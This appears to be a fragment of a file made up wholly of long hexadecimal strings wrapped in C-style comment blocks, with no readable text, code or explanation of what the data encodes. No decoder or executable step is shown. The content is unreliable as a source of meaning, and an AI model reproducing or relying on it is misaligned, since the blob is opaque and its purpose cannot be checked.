2cfa1f0d63dfa8b2824741f005d3f03424b46549a73a6e295c23066504d297d32f41678cee73b09715c6e85663b8b92536a7e8e104120a01b59678292d9224ffc5972e6d340212ab6b8ce19b213caa86db65cc6c8fdba20b585f94784a25ea49234fd6fdffc3dc1fa24e3746452e297e897358f3587afa40b3b08d98713446d5a60cb683d90b1846e54e1703f0621f55c442028638308e16e6519b087821dafab82b241c8a3b64d7d521e3d7f8c031dd722ce21641d6389c52cd9fb8bc6de186cc1933e81b4942bfb3db8b5e152609023d6e45ae7bbce10f0825a0540339f69bfdd88451810b8472041ff3efce286e9ec9d296cb34b29de405534747462d01eeb75cbb51d402279071d60e443f8d21f6c3b398ba7dddcde80164d0f40a4e0708683f9013341d5f2699c608e57b8bad29d4aa1b3a40cb71830267e994590dd3cda87bc1ad0ed8b4b24b409d7e0e02e296b3f03667bbb519d5f58bf35aa8b70f121782a7e9cf49334d55df90d298fd4576c195dbe88c66c9af026aa8a882410b6f3b23a7b9471eea7432015bd9f18175e49650b80b6b584f2ee88dfcb58b3d7d43972e8aecd34d2cc585bcf9b62d18db27e211e5cb4c3082bd86b69370d949c347689ed335e162ca8ecaacc9*/
/*5f604b1678e713885297d68e26fbe727d57295da4b48fde98f46c3253949753821b359d1d04c3d13c51e83485bfa735e4a422998d41a105a2c66a0ed6e4e86a598b939fc0beb7c416673c91c5331465faf8484526b24d15c0f8bc5faaf4a64e539c5ff6f7e25a7a562513b0a2ac36ca3ea92e7071447cca26c784f534d37cef081be2453d4e255cc7d04e31516f81e46dab64b308d507a7eda2b8ad4e3fda08e7cdf21fd05fd9be9e1fe05272c703958c0f99034b5f33a3bc3a1ba9cff5d52db3a870549f0342306ca97788b89dc8667ec6f1f9f7a0389297e93b5240b0912ace4a58e2e2e4afcddcbd20730429c54adc5a5c198ad9b004a83b5c8665492fa9699997024c7710ad9663dcad7e23a0bef7c5b4d7c60d60d14a46b3f52c58ee5d3af96d79465bf629448b055ea6f488173c423dbe9316841250dc7df106825d8632e6cd0a5abb72e4a02746b772dc85f9baebc1327128c36989d4af840c4de6b7c2673e99d84695ced00a7c908d5e8b0f4971bac31d0f7a09f7af393477e685e87849cf2047ac82df3656db11b867bd405d80145b0a599f7356aa8c425bbb5f627dadf2d2dc8f3d9054692ef30aa8a84045a5f501c3472ea3127a47398959a16774b7bfd1cf381bd791835d77b5b28f8c18ce99964dabaff3b2f6ead493ae7ecda02edfd044332b26f60af5c5209a37046f2b12ff296bee3070aa628f46da6ffda50f78eb699b78a9eb4780e1a56f07fcb8f99dc1aa5c37ef665495bcab1af411385d9a2439ab7f59de20195347404ba3a243a4f5961a2476c1af84b58afda8b1428bc057e8109c42c23d39d1c91c8a43fb666e8c8d7ca84311c327cd2e7ad281ea0a9b851824e67bf33080fad34f07e9a029ba94facbfabfae7a7e4c8c7672dd838f51d575498f15fe47fa6b7eec483a875228a3fcc7d4d94de8b0f26616a2a5682a682714d59c937c83c3e4a7305be04316f2367a8180f0a33d09381fb43ddb7240e9aa02455526dc685985d763c8dd2fde05037273757129627309fb0b45a7517c8b0167a877a7e6ddb65e1295c552e374bd89bbb1e0fab809f1f6191f17a2c42953c9203d264dcdbd931a4a7c4e96cbf5bfdcc09de434ae796215200fe07049e89056a528c568ba336651603531f00a297f78a38188b6679415d524e223b3ebd56c09e08a1b55743408608e310e58fb247bfbc44da6543fc41d42eb23d9a229c3ad7c868530573914d22bd5d82e458de1ccc6542992c50f36354c24a7d0a0e2562d980e2c12abb187d53f4def637903c37932a7c33799a360b266e9e7fcdc9628674064a68081a8aef7fedd84f9414cfe47a61440311d33704b5a559ce827234222ef490efa346fd6516368b78ef86eea3a2b581b2657ffae50a3f81ef8f8a70b468d8dddad91f37f2f9e4b4b5c9462eda1d66f2ca5630eddb3d77315789743dc31caeb83c65a9dd096026deaa9e63a73c9050cba276664203b574a51a150661a87685f1a04b5658ea0523e2d062ba3c8ce7fdb37e52afe8bb68ba03e6d9c080aa34370c95520e06b620ad9a662410baadcb9da6d05a40bd8a465876eb4957117b76118b782d50c51dd704b5f0206e231ae73f0a13a2c52c958f779ee408144731754399083a726fa6bfc30ade33355e3d880a96872b293c5f7ce90e236d7e8b702d12392fd45df0a1620eb6f069f436c585de060323176d728b22ce1fff315c274f5eae04146ab777ba31438ce958298d22360d7d54f379ca7ce061842011b8eac9d5a269852fd67eb294a230ec7f1159dcf264866cf554998023b8e03230ab7fe3a6519aa1d6ab17f5c7020cbd3a9dcdcc35c1101509285bac2f699028bca7d1731a74de992ae4decd14339405300006a73cdf1234d0b1ac02ce2a9521015ae49df9335f722151e97f8ef9ba2d9a1ae5620e1e43fa0635e14fb3399af7edea38d3bf2091138be4a6c0553c07d3f4376b88159c62cbfe2a91b174f9f4888e6663b20ab4bb77e03c50d97056f7d4e2ce3d69051a0507e9041f4f7caf95771c3518101f9504b8d04b67409eb7445e5157c6e0d6e3afd5d9dafadbe4976d06910cb472184e8771be9a2cae8c2d4ab9af5ce4bf49642aa5ad22c7bcb35596adb5a2b559d7404d9753b3daec714b01c39be4fb3a6da77a87cbf8ab422be8f3f1faa791ecdd8dea7d4e624421ac1d83c5753b89f11d3f641af93e312a24f09fd48c1b10b6fd4237f923bcd73e951d28976136d17fac0e08bbcf211c405ef11821b3f4d5c9d866921901ef71fc70efa6d91ede5576db3cd7e296ce613e8b8006f4031913e7d13b2ef94401b625d79736f414bb0cfeb8e5e5b4bbc4d546f16abc230c3760b9c7abb6b61440aca74341b0fbb8a84b4aa6603169c8bf12553f021d09680660fa1ed5da61ac1f04a666ddcb577c641f692f6b2d8a98a6c4114e1edd1a3b2f93e29181b6c42f3bdea2fa75349a38c6d83f1bca3afd3e304db7383c0b298a5bae862e6a0faa6d151af3566d272c9fc6e3d617fd19959672145ea8e457e9c052a483fd8ef14ee5462cf0f42f83ad712c49c32f63374b63a8b030b5c3b50b24757c56563d845317eb566b0aaf77017c7451a8ffba84b49462998ce66d3181ebcc2291d0bfb2e948d7a6b6212cf3b09abf810c271b8a8aa54d44b44ba9803e55ba864cfd0c69ec6a5612456db6a89fa617d5744ccb2662a77709a31374f8e8f0c885f7631f9ab2225535ce2c0479653a427018993345d75f041e6967f7d09d1d6f9fe6918a911620624d19b341c366d7b2dfb0823bd3751e219d3d8e0390d6d3899a7d70921ef6e05da733e42b403149*/
/*fe16c5ef55adfbe52b9044c1d64c9a7f86acf325bc81794fa742d254423b0f25a9e7ba5242e99c75e281856629d6d379a594b912c0778513b50a3336359ef5eb590bce0bf1a9a907c33bdd18d394e3b10467ff2d3f04c428499430b2f7ffdf59a816c78dd4e8a2011528b0442be7db3588f1bee38b389ec240befed9125b8bb6455153694b0faca2cc0fa15d12c6005ec1eaaccdd8e75fb191577896e4b34c1dc6155fef806832812a0949b0ae946a4adb3e646fbc3f3e7e02ced2701496934b984ccdf594dbf81e5f7f8761df208edaee2a92879bf5d89a2593b3ffbb693b077165eaea8409f30a19830b1588bf3a6d24aca8a71cd1791bc117982e1f7e7f698f91ab4dd7aeff21a7799fc753594f3afe92e680b49c42b0f9aaeeb3507f86f563bceb324043fedcb0da77806c64e9424883d57eb914051039fef493b4141449bfed675a387775ef2ed735d4fbfbb27564f8288e5f1305e4f1761354e96cdad670c319374e8bbb6a1770464a22ceb20c493f3888a5f7e5ddab4442c20ef740eb8dcebb51312c2060f1cf8542e6197db92ab91d30b1987848c375327890020604f5a310eb484db2468b0e0773ce61ec821edd50bfa89f895105139ce18dd2d7ab4effc2660fe2e5e553fd23680e8e8ecbc8e8e6671d4742b1df71372e269761dee1fa6ab2cf53ebadb0b1a5ed3834932897ea3d16136542b191a3c5122aefc53dc7574c590e5b41b71792c0cc6343302f0940f4a270598e215914fb19e239ba787aa59caaa336473e4b3c5bf5086073cbdf3f3d36be3ee43de519b91c5a62dc1c550a3e60168d34cf5b39c11989a7f66c204a6ae705b4bb4bd14dc14df1f34f4767eda116bd46f2e8f69724deebcaf749ddea30136bd46c4171c708a8cb1afb5d05fa550857d02ab492b3325a1b7a4c6e1dfbd871bfc565cf82a7b48420ab9e768a94370f2115ede1e49990b1af40aa3ce027bcbd3b0840f1e746eb84c3467a977efecfc330acd953589746c2dd1ff327eeb9c93a6d7886e734d53551e9c785e0250a0d9dd866334489736f6536ecb1550eab2af83889d5576a504c9ee70b559419aa0a1213a59a2bad713ca91f582c9c954896eca76b249a69fe0511f1f1c6d1b12432764b04944bc049fa1869f87bb7631dc6a63236d5d59777eb843d732cdf3435d6fe95fd7092058004fef52affa4de1fc98792db5a9873a67f8be9edbe98d8c77ea84311dd1733caada21f75047490cad1ddd5576d300058be1f1a5de3b1d3367d6bd3cdb9f6e69a40d894a9cc2219c8395b9a801dfe38ee75ff4f20c83a5b920ac92c0cba1de64146c34b21693e3dba2f72f89ec8e8a527f8e5cacd80b3d4bac8a0d118245588aefde175ce329cecd0e066726c6311fbe422d7fc52f3bb1c055db93260572431b5ec2ddf2c2d36d2344df83523daffbc25448b12cb06a15a39fb9ac901cc5d8505e86eaa34c3f6e2fa9900d4118ef4a7b5accbcab4e4b0953ae2efda6ee3f17f158766dce9a41477346074e190650b4de910617056a53c39ae254941758f9a5be7b5814e9b9054fdf2fa6885def6f05e0e92df680405668dc6efd58ec7c9480ba7509b7befc5ae78102a8ce72a47ebf252a661006b5e13c3928de735f976859823af74fe009fbc39e6b07ec110ba300b7d0330e55927ab4c1d075b373c7b601367cf31e33599ce6118785eb3f991337a18f7e7872e78cd4d95b2a9918c1fa4c62d9e001ab9eebf422d6e0430877184699812a0b16b98f6423e871eb0e757b49990eb6956e02fe4ae7d772e4c9d945a7f85df3ded5b0dcd53eb0c31a18d9ebd4e6f1018b2dca586db651b359538aa0068c87aaffb2b6ff2898ef46b7968e5a22fcece0a37d58104901a277f1a84e67736ee03e685eda17d9fdf47611bd86ed95d800b609370e2e68c9f899eb06615b361a8910c944c16104c1fc27fc9be9299d88ee3979f89f28f91611a17390de752d5d3fd8c186e850bccdc99ddffa83eb5d3a78b160a03f2b0dce79aa9608e40416d8025cbfebf8caa04a06ecc9a395d5e8bf139e3d853311ef8f682328477399b0882e40e8f98ce5b32bc2bbf724ede806624ad563c6f4198e8e4af947485358fb9c5eca13dcdb1c88452ac39d5faf6b52514521afaeca71c6be9bd3c93ae503a99af41d210a44310c9dfd892054118d6f14b165c5527cd0affdbd152eb637fc2088cd590e9d9f334d143946666d8000e411540fda103b214853aa890bcdb2bf8012768a08747886fb787c75b805f35daf98c5d87a4e5a65471978255a7a037c0184310fa31a7431ad14c0e9a2925fa9c15f13caa112b3b3eec155579f712941ff87ce60257dd725f451537883d42c6a1bdbac2b10027cdf75cbe46bf459b4a29adcae39abf29ae1652f072d69b3f95b7a04bcfb497520e2f58a45e875d8a6bb3431396429cdb3dc4469f922ca304b8b348812096f846e6ed1e2a1776aa80558476b8a9b34daa5c771c3fa36d5e9dc9418b368b7d67fe6e9f95b6cc0afc97ab4de8ca35618b2b4f11189a1f69a9a41645a4af798276dad25396add9da77704d5321d7b1b8641acd333da839c92aa31a616d542af96b88d8806501586363c0ad291444575577f1cb33711efa15d30dd1d3846abd8baa0962f8902b7f4d87243d414e2e64ceb904987987052add3f3c719114b31e5567220776747c6e741ee444a69537d167bb8e8b0bf4f7105caf677f3470b8e014851b1924c1c4f2f11debac15874e81cf9d5a077e33d43ae453959cf4b536fe7d5da2cb9d97bf6e67ffb52b19fcc9473dc371f924a0c3b509231fc4a7f44c2f046ff9b5e3*/
/*d704762c88b96a8661ce50de3aa6eb4a9c15b8df764df5db2a177173080eb6810adcde17f72ed3a793d317a0dda67e8f336733c24ce1d5cf66ca2805d0f63aae2e2a8424e4d522273c041151925651bc0a27e5bca7be8b00949bfe789c685dc28d4cadf3e26f500390d216056b8f5b18d34a78ab56cd0039b9595c107c703bdbaf5426ae58bf7bb92ffe3c0ec525db226f90f0b46f248ee884554330f0c4a20286f16ac314d8f396c7e149d61a5b086d9ccf9c554009293e2ca5af86b65580bb8c7a076dcb8ffac0b1f33a9a13fb077d00d7e6ea90929c00727ee049938c1e193d975c63d17ca88cc4f0783a31ad08ef9766646da0e68a1a5c30869f18aa464df2d0ed4e2fddd6df5885632076f9b285d6a7884a11cd3c3abcbf982a9b1cf9db1fea093f295003e1cff5fb7e76692747b96f9d2288d5a6a7c6ada2adaa632f9b00b1f189b8cb2ab6571d2dce13f4dc75ded053aac73ca079eb706f46493629f867ef680ef999503d15dc9eaab2052d20cb75d553cd12d9c23348e3a4d17fa1ffa65caf68935817bb47e5e96e21d3915df868eaf942188cbca542c627c133d0be09b667bd4ed7e5c872176c55a074f51c017ef03d32c84900549cf77415994f44bde8fa82b3ef1a56e419d2bce184501c7e51d12374897bd43cad0dc7c9f39a844d6412a18b2d46c27d4d95f9ed54f675d8ad8f8b03006b458acd3d6fdca0c69fe1013c54202ea6f82fd7aafe6fc52d5d6433bd3981f6f8dc71db74347834b5082738485df95cfefad40412e013c0cde64dc97c888d6c1ca1dfad3d43bae46df751e80492184e6883771f74137932763962d2a5e269be74c6b08068bce3002d72848fbcc251e709ccf379d694f303f44e904540c9cb46bc48c8e3a724c12bf8004b52a634bd6e250366e06cb512be082725f96e1af416b5137ffffd6623ba36a755c5849e7c49881b1c32e79081e5a8062586cb639623c5dd378daa2c7b7adf8773289f05d01df8a89db408ef2b2768aa2c7dd4683deb7ab19550067701eb76a0d455ad374cef4abf31fc8195a956c80148a69d6392ca8b1471019175fe636a6353666cfc80ff91b33e4bfecf56f1c1478eb47bc7390ed6195f515a53f0800ec94ad262aac59fce9e300dd8ae23d9be95858969a0b2e80793593f0a347d97747d186218057ce2bd22a9b62ecf7814b095a6b1259f8a8e776c8e2b2b76ab16e4be4ec4a48f29a01cc36c8a8342207046fe1fab9366e89fef7b706f27eca473432e8925fec07c7df93245cc225e6544e49215b558c9dbedb604e59c06574b1f5893b776494fabb8a2f19cce2d24cd4368c8040dcae764062e064c0fe34f9b722635e4f14acd1b593bda724cc63ade0cb0f5254b2c99f704b684be6c8162c471d4552337e3b4d175ddf214966c2334897f54caeaf6e4f6610d2ef58d00a4d049c298b7b4a36f01ea44e03112dd60e7b7ee482a92b9ac59bf70a660e7f5f26b5a2119a71f34ead6822e4d9702611426d8fa06d53d8ce3e3e280a829262cfa444909e65f20a1d4ea639d6e747fde6243d9081e1ad4c4e7dc4c3f4de44af6bf4a951fb8a11493abf6c757ba099a556714bc1dce07a6645feabdfe2f03abb1759c1f168bb68ea3eb209236890342939309792d3a3c72471864bbbc5cd3a64745b2903e6dd9e979d31d93f1d8e80a0dc4159b6f2040cac960a0bd58717402b6c098835c8b024383eda8498c0b09d7bb1f20955c20a2c2d2c0ab9e8c17b32eb53c43f9d3df7de6e91bc21bf8dafbd2c436def50c431b7129d84814fa7b403c366d966cedcf3eadd7b1ed40f43dbec0c923a8b9111a620bd670dc077cbbf8c23c777191342503752c16016accd246cfc6573bb98f2ebbeac5d187be806a5f922c0d53cf43553f40c76a2d2d6ea1a46f175d607f0641853a322b653c5b4f767817af7fb268996d97a671a1351f70c3a813f0b7a47c99baf9d4ae5d00b7d768b0036432c8f76b74171de734aec3bc84ebbfec2b69ca372c6d306f1c3e21a09f54b06015b5eae640a3a6342ad88e4509034af16907578c5e8a25f1253ed07ecba3e69f4ea14067424a973da106087c733917bbe7a9e8eabae1fb684e66c8370b8a80b30fc8b080c9e1c5fb2f38a20a54fea60ebdf460fb808e5c1d6cdc895916bdf33da803d62ae4a005d8d664742499d99f35bf4ee7f1fcc2375ddc94a304ca044912634d4fab2125431a8f36cffa8ce37880b3cdec3fa1288b305c04055445952ea2171ea7111a09bf04d14077ed5bed09d86e3abd0f3bbd82cc7ac4fcd567952dc231c4f1227eec0f2e6f57235c8cc5c947aa0e2c10a52d3325b880f936c3ef6abd571e0f1e97a41c5c0eb8daa30bc144f23c05cc91559c327e11ad08d3b2dfa42ceb15910d139290d6966c2ff390c6db53947cb6277d4b7de5b4061f1c806ca83d26482b0af49645aad3a056c1d470b8a7443d3d96205a72c18e1368a176e4a933fb8b96dcae5c9f258e17afa4f1dbf33322dbcd9fa0db4ca5eddb2e58daabf58179fd4a31f37b1880c59326b0c7650e67459efc0178c94e55fab715ba69bbb2f44c699173afa3110bb5fb48f28718d3dff332ad4382857ded9dcb04553e9549d765ee946f33b1d727bdd66b283c72461f9029dc27fe3375755954aa4bc7cf3816e554dfd9f9733ebb9d4ea4d66e82f60bce8348e1940d4cff9087e8f0ea7297c363f4c581de03a07c7c45bf13185f434722cce4e4b07f0656d966e373922909f7c5ca29954359b7edeb1ef0fc0811c3810351d5b237e4d35dce3fcc7dc7d585cd5aa18fdb797381cbe2e115236642ca5ae6722869*/
/*a7ec3c00a9218e8f120d50ba2c0c482b5c63eee82aba505aa504f55a720903591c329db63ca40bbe359cf147303f80435366014bda0526f09fcad0a7d8a823f7ad10959df4bb985867da79f5d11803243ede5c6348efb0fec546eb33a6ddd30bcd4c251915ef788bc10f762a6670c9f476a1b2340476c95f543414cfd97b1489b11ec96f8f7533a667ecde15ce52be8b5ecdc776bd73e17de64428fe345b610910db56777004a40fb13c51259ff0c8288c32d476c580cf9cc2e027a1efd051b4b98cc1382deced35db990036da957f6bd1927408467ecf635fef70e3d8cf1df919f0fa862e2d9ad7fe4552841bc9406feeffe9618aa9b88cde350ad329a7cca33c0b44c6eb1699002c68b8f9f35f938f1b6d7b299ab72befe39a55b5f753fdb81806bc1079a0cbdf46627974cfde51142ece3bcca74463a68cd90d076c3c6fdf094020799fc1cef98c340bc7af2ff7ec4f02bda2e744b180140402ac474de58faffaa2bd99aa5a387f3dbdb1fb746eac640eb633dee06e459b4fab6b3e46f19f94d1ce7619f429773f1e3677632574ecd33e5b06753d42713507f63d2bb225846bc02d6b6d266284dbc969891f3503af06085f9451cf84ec61f84d0784d3eddfb722edf878930c580a75ce05734ab39fc436768d4febfecc177a586fb7b70e7100a4683e6a85f83ee63b2b54b0ac8e0a39fd43529b1fad3805bc633fdd64fd1df863f37162672444c048ba5edc6bc431612adf2b6fb6987df861450fe999904cc415e24f255e7f992df0b0337ad6cc6c97317e3e604cca81905883edd66a72c07c2abe4efd34096b82b05757e944381e01bb877d2ffc8d98d551a2a8fede7644050bae09b7085868a8b1cf0806b29307da7e04e087d6d798c10f72c98554f947110fe77cb681217a07706e0d4b91137d26166c7c8730a90fdd471809c788b5c22fe955ae26e3098f9445bb4f3a793e2ce41d985316dd8fcb159c8f4694b0c51f11401317ef84f7974a0238cc426a6cdd5c96ae677431a35b290090c48ff033d974407d0b8d71f64899d997c90617e68ee761f6b78d6a9f66a666b601f932d98cae5da06733c949b4df44b70229f5bccbe8d64e0357bd0b948b9bd5f214544b8d546d79ba2ec8d73eeb22772aa51ea26511d7d18881056f74309034f2323e50637f2f54945066c62dc7bdb7cba03c499e3998e6cc9709fad6a2bb95680d3a363d6827886b3666f79ba4e4f86a3c0b46680156540da73d9233ea543c8f28c2b703f02de6c3d735b62b389da222057ef459c08178229197ca6c1b6ac85a3fd18729aa8100c694881a86ed2c47d41add3656f64716c58685eee782a593cb929f2aeed78f49430d4d6a1ad10b2f055843ee16002a72350ce57bd713227591e39f32166a9da901f8199e94d2e236ea37892bf8df079e4c8cdf5ce27def13c0eb20be13092b54f8f9958edad2f320f56e0b6787705a80a7e41a9c362c122e78cd6d3b34373807c00c45d22f5d49081f40db2b726651df9dd23700f2455cc9052696c4e4b4e03941285427e07bde9cbdabdff9815bee6ab7eae3b28354173296af42026e4a812fa58df4f30066c60f8d83861ac40371670cee4041612f43ce583227f20c75a17d44ec660af9dac620ef619086de85bbd32544c1aaea26e9ee7c4d805d865b89a9752c4d3c4b0cbcd99fe902394420174c1da8c389a0ad8f4c86f09ea6312a957dc3394c904085aa9e0d64cc5fb8d2d13f727bba8607c2f5b74545f860c52a685d9daaa7ac777c53bcb6fba6c431505f301cfdf66afc04f4b604653a38fb0d3e656fc82f08be14c3d8e6e8562cbad003440e21fd0d97cfac2a6995d8108fb6851d07c1cf07252740e2d795a9f2ac586908faf8946977805a15c0859a8da01105897bd7d623a1ccab21785e02b239e1b79f918563b06fd4145bc4e64da89c79252c86571fb550bb128c6bbddf5d517436d1bc5e9da6cb36fe1e05730717f4a331e07a7b0ca193e3cba908e19dbba56b2b31c0cd9acff42f73a20476d429d5d378e2905ac430fde377ecba24331e9c653ffd43e2516c8e22dcb77e5f1d60d3ef8fc0a4d816fc2e54c6eac733fce75ff92c5db5c367b57522ddc877acaf92234a9a9b1c532ebb79067885b62a052a49be4b0bc4c33fbfa89b3decc6c14e0bc88a8091a0d5cb80dd2250306fa25079fe39e1999459bca5574f1faf235d1f7188ce61ab4eb3bfc0517a857d5e4e46dc4fa7959ebeba5da33369c09562f90a2854701ccf9008c89f2ce180e3a06d44892c6f3d0ef59c80b82aa094959805297b16e0049516c4d6baa0e44d9aa30b7a43392b1202e5bf312e3001d55b8457afac5cdf15f4f2cfc766fa7a6d6e97b9604a56265ec38a59fb23a2be971f91d1201e1ae16460ba2449c386b1e0a4a0b2ee9615e481203857acd5de587b0845826a3a37aa6279953560befdbe16c1c06ea23f70c926a99750021c6fb40d3bc5bf798f01082933a1de53fbf2eeeb9518e15e8536ba5800fe21ea6935af521a5855c5b7c9425cd295a3c4e3a8356c79b18d816a0f40d9e96fdb2c63cacada1a4dd9bcd2c7a776436b8f1a9b8d1362d802bec12f5f6aa2700177abfff8b536f8dc07d09e1a4c81de901f2ddbe39611a7ad4516d6258bc404874768d328c9df1df343a0287ffcc7c042f0ecc31eb4db22a3ca788c1c04494667e43363bbd87c973fa3d236e0834447e180f955133fff353c83c2f77441f15b1ffd14b586a6ab36255e136110aa36d657a3a5b8a11b436d5ab407a6a361e310e017547a79bb57c146bd7f2cd45f3200e3c66afb4f56f66af60958245f*/
/*760e168c76d8b64dc9d12a7e8d1ce9af7807c15435a369e295df47f0bcbcce578c5e873c7949d9006c81f2f27d3559505465838cca62b70eae92274affce4fddf33c7b1c5ae5f06861adb087a94c0b5537c6ed08abc4b0dc013cbf99f13c2ad4a046f13b4ac24595d8d4ce3b6ed65104bdef0b49e5b782d585a471f9cdb9ef6e98f4aa1cd23d214052a9dd461d4cfe37361c80f042d54dca25e04165f683960f71918f9360e4dd35688babc141fd3bae623d906b178c1a120ace856f1bace53eae36695f6b8637d590702a4e65c4cfdc0d74d7798faf61cfa779da0ee884fda9a406758233cd397bfa4a21a561db474923adb09517c511416d5b083034c269debad8f214cdbcf956f01e1c96660cec12884b6532e00871ee48956f47cbfe098d9d6a331664e8c875394ce3f74b04569d5677e2ee40a3f29e9660bbe826089ee14328f30d33c4e56e82702e3937315ef17e45938059ac42954533500eb38295e0733af8075c63d668c0b2056a8a2337597e4dd2e9098de512e0b97bcf4b0e94b6fbf668a2123540ecc585696106e6a7a55a45a6135eae8356951072b5d38a01498cff64d2fc08cfde5f1a69e7ef4e47d1cd5f9f22d37d0a6f6e71ebcdb9777234b9fefec38392710e802572e714a36113f89e9d36e3d537133ebf93b0a13e09d4dc7135ce9384fbcc961885682074e2cff746ea0baa0c9d80ad1edb8695c4c8ce958409c641b08b664febede615591c821fea3e8e8a12da994b7f0ef482b57202b5f45cb7df578f44cb020227e9840d4648ebd274749fe2cdb5d27a8c34570b067a8187ff0a42792e57c0d4b03a03f54791ad77527a4039ce1d3301f58ef486be524799a6da56b91438388073c358d0a7766fa1681cb67a63cb1513f1e3f00f29ae746f534db89e3e7e21ed67d2c8243b8aa375b2ca573d775da590532a174b04f6bcca18716f2b5d175fbf7f95b4395c2e59afe67abc75500dbb74273d0ff802f724369c4533d161a2e08a814aa58dbb6c7590c6a0f870a3b424a1caca65674bafc82b7d5cb7ce71561f7b3fba5a01347b6cd79be7861afe017c5c8e019a29ca73065dfc5d38c43b9e782bba3e731addd7455d8ecfbc5a0f49771962d6298d28d4c70e363f8a89b374d59254315186e2074af389908ec6a8159219834b327cb3ae3abb7633733909799589ba91233ee7ce68f55d943a1972db6792b893eab8a1bad9fac01c2b18411eeb27defcbb837e15fb4c33913dff66dca1167e6d4f6b551a800f67c631cc9d937d7a9c03a06f8e59a93c41dbddce0ed9e64280139628406aa17d32a25ec76d4becf2b0551e91d051d31817179dd7db92aae22a282363549b78da193b11d208c6641daf6c46d5b052f35bf1cea27d51a821c3c54709a9941918f46bc69e5015958946e08e631daa06cdb10286ed7e45d0b8c752a2062ae569593c76fd20bb0e07a8ad4b3f4e0945c6d7d0fe3d52c7e0dcec12b474a2bec0fd21fb7ec27688eb318baa4372258905a4501b2d64d8cdd4e203789532796d4ffefab11ba0141b1089ace2ddaa77f114b46d440ebc5e082d5cb4172787093ecbf4d07f0ef0faf7a358730c069b291002e2c671bfac05c484000d680024913e74c08abfab82a03e40506ec8999db7df6546dac5b502c7b7488661ccf2e3970b0c9454666076cbc94f677d25ae9ed941f9819aa832fb5c182aeab7408fdc2f294fbcffcb5527c839700d7e9036a7022c4911be7271a4f446fcaf90fc37f6534ffef3fa6da79a191df3cba7aae5aff60b0a54ee47462459975aa3b5401f047faa384c23e9189c60fff3d2def94e85b2271d9e1d1f98413c183c11ba01314f61f14dfc2467f20f63beb1aae9c3b0e3cbe36354a10a1a13cfce7ad2f4f579bee2aaf3a0d443d2db7814e95741d0d267ae6c70f64ff60ddc9691e4558b00e08044f51c2585d74dcb195827bfd7b297cbabbac369fbf8d10c4576e8c4738c85bcaa1fa969f0ec2360b245ba8f5bf5b039e4dad7fa95c1ca63a917ce6e4705f8d3fa2fad7f17a41ba523e6b47c44108d91930c169f21f6e49ddb19c07b84ce3bb3180593dd17754a3e3d86ef7011969e18b64566df6bc828e63269a904802805968da45953feb2498e3f7b4979f28bbc7da4a3c62649375a326b22b542b5385ffdeac661b37ad69caed4c2b2f853ca0b2da89675e4ce823c7b8352b5945f953864a0d1117a7615d2d04b1a89eff79d179062a6bbb7d9eae368fe5ee247710f06c404562f2b63e6d980950e3a094469c80dea18491fe27d53ecac956a89c3087c3dedb0aef149f5dee78b21c56504ba3253d2c05f80805b51cc9ee6081697a89b7074db05a9bcc43244e5c5460c6c798d5816099441e4b82175c7d720abc71fadcd57a9a258275eac4648ac9e95dc02597fc4d0697bd4c05165d6a53dd76c73164e642d3bccbfa0c0bfe78a426b482d4916cbcd21893494462496ac9e8ebff19d191a53e24b1f62ac377cfcb82159d0aca7390359abf757e510f876ffcf6f2bd46747c1fe7334ea22cf24dd9dfcf3657c82e6acc3dd6783ffa2ffa1a3528f87398932ee74045fc8f8a02591afda379985a06da06c3e7092abdd6b68871d74339c9093fd33f7e8769dac0bfc53ada8ea670278dc1160a1628b86ff21d7983de2c92c76a7b61ea380b5e2c6db6b84745cff4936aece51fed70f17bdf6f434def273cb94d65b84afcefed9098c2370d3f57392960485a35f968609b2e72ff5c220e48049d804f36aa81387a1eb4ac46fc545ec3ca218dcd32aa3ac175943d63411c8dad85bdfcd9414298f909e0ef3256a7e09c68353*/
/*f796ab6cc152e2ba6bbb02ecf65c25f544c125b1cf2820139f79bd9b5a5cbc7d6ad8a29475a6ea2f424b9f3f8bf75ee797b431753b3c69ef606f1184c7cadcd622fd090c2e557d55b52a0b46eb7db16908782c281c0d150748a80854c735636769147955fc897d868d162a4f3d947b4450bed41f2c0afe006bd8fd9583479d2c356b77d48c7ea55a475c6cad9f05472f6a1eca8640a62e4225f597a6abef483fda7757ed74df0a613cb39d51b3f1f7f498c5e0e5cacd2b60b9f97c44dd35b627802d45b16c7a4474be991b5e04c503dded568f677a5dd17afa013d8a8e2449561fb7bb87acefff3ac8a4cba0fed31c853363c78b4ce5f1d2dbe675fa398c63b719cd570ec16d48156e7c90afdab5d9f4124274d3c22c157eea51aa20cb99ea552a176feaf86cbd215f61c52ec3279955fe42eb2abe7b9c5626c8bb1e17c40c65894ed1c33cb89be15c25419c369669f184b00a50f2eb8e872e92a7c6d7a0298c54221b629a1917235b992cea4e06658d88701119016fd22823f61daf998fe02cab96029b2cceab77f22ca7ae541090897059cb63a9f77e38b65bcde227b962d4d97cefff9367aacb3f31e134865396b5e8c31e352843177ccad201394e6204a373c5d9c48df8e2fc47a1e5a3df99367077bb0feb02dcae26511fe92895ea1246045f3a9dc2f4646a964d756768185bef8923fddad7253d0216b899bb3f486cc0de38bc0a41a3478604397184055c082896e3614f61bbe5399ec77dc31860922a2102a2cc43c8982d3a2bed897bc856205c3cca474366ed8f89aea2ae4a718a03a9a30996b1d089fd22b8c9f314ab1103ad834f8fc67e03ffefa6459c66b587f22c3dc6a0434d38a2dbfa169bd710a285108e25032867ba79ce30326391f75f68ca8cf86b0e20eeb034cca0dbd1a3799887214c1f7e697f95386e168677f50f2a83f8c4eef60a248497fd83ca0b17f61651a235bcbb414da278e156158c196cd8459cb0d9d6a76b8f6f43044d1ed63f6794e1f61bd129d1855e26a4cdced0c5189babda64e98c6410c89d54e2d8312053c983500e901e6a8103768fe3f5b266458842f21c5e3d52e1cca230d887000164897b8bbf4b8bbc080ee81581b7ad70f82255e2db08f04af94f8d1dd11a01fa63533f2466fdc3f46fd8f05bf10cb8e49858af1329d7c14cfb1fb059ab57650bca432ab7ef00bcd25b48eb14116333b8de9a8c6c18e2ff14ba9c89bff177f6c1d90629dbfae00d1213e5f264acb8333e43595121179c416be0a82bfc2a7c1886820e8d36eaf9548f1bce20e786a772ae4a66c9b5fd23d41bedcc52785823d7fbf431c84cc51a15f3075d8a647db44fb9477b39800ad7c40a1154193049f6510a2eea9ee6242b33e3f716a6d9d157ad3e9912ef9199239dce1503f02052fc0378f2788e5610c172a065a178dc96f4af49b866f097b46c042041132f9130fa1eba469afe5331ed29dad7413f3ce9e55b5b9c41ec720e5e516f483fa3eec0e0f0573cce69df3edc66d3a33a9890d6e6e12da792739370028e523839133524167f5dcfb540185a352491a59c974fc942e254207ea